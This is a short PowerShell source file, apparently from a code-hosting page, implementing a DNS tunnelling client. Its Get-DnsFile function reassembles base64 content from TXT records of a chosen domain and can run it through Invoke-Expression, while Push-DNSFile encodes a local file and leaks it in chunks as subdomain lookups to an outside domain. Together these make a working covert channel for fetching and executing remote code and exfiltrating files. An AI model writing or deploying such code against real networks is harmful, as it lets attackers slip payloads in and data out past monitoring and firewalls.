1
0
Fork 0
Du kannst nicht mehr als 25 Themen auswählen Themen müssen entweder mit einem Buchstaben oder einer Ziffer beginnen. Sie können Bindestriche („-“) enthalten und bis zu 35 Zeichen lang sein.

63 Zeilen
2.3 KiB
PowerShell

# Simple Powershell client, also runs on linux with Powershell Core
Function Get-DnsTxt {
[CmdletBinding()] param(
[string] $Domain
)
Try {
return (Resolve-DnsName -Type TXT $Domain | Select-Object Strings | Format-Table -HideTableHeaders | Out-String -Width 1000).Replace("{", "").Replace("}", "").Trim()
} Catch [System.Management.Automation.CommandNotFoundException] {
return dig +short $Domain TXT
}
}
Function Get-DnsFile {
[CmdletBinding()] param(
[string] $FileName = $(Read-Host -Prompt 'Enter a FileName'),
[string] $DnsName = $(Read-Host -Prompt 'Enter a DnsName'),
[switch] $Execute,
[switch] $Write,
[string] $OutPath
)
$count = [int](Get-DnsTxt -Domain "$FileName.count.$DnsName")
$file_base64 = ""
For ($i=0; $i -le $count; $i++) {
$file_base64 += (Get-DnsTxt -Domain "$FileName.$i.$DnsName")
}
"Base64 $file_base64"
$file_string = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($file_base64))
"String $file_string"
If ($Execute.IsPresent) {
$file_string | Invoke-Expression
} Else {
$file_string | Out-String
}
If ($Write.IsPresent) {
$file_string | Out-File -FilePath ($OutPath, $FileName)[!$OutPath]
}
}
Function Push-DNSFile {
[CmdletBinding()] param(
[string] $FileName = $(Read-Host -Prompt 'Enter a Filename'),
[string] $DnsName = $(Read-Host -Prompt 'Enter a DnsName')
)
$id = (Get-FileHash $FileName | Select-Object Hash | Format-Table -HideTableHeaders | Out-String).Trim()
$id = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($id)).Substring(0,6)
$content_binary = Get-Content -Path $FileName -Encoding utf8
$content_base64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($content_binary))
$i = 0
While ($content_base64) {
$url = "."+$i+"-"+$id+"u."+$DnsName
$len = 63 - $url.Length
if($len -le $content_base64.Length) {
$content_part = $content_base64.Substring(0, $len)
$content_base64 = $content_base64.Substring($len)
} else {
$content_part = $content_base64
$content_base64 = $false
}
Get-DnsTxt -Domain ($content_part + $url)
$i++
}
}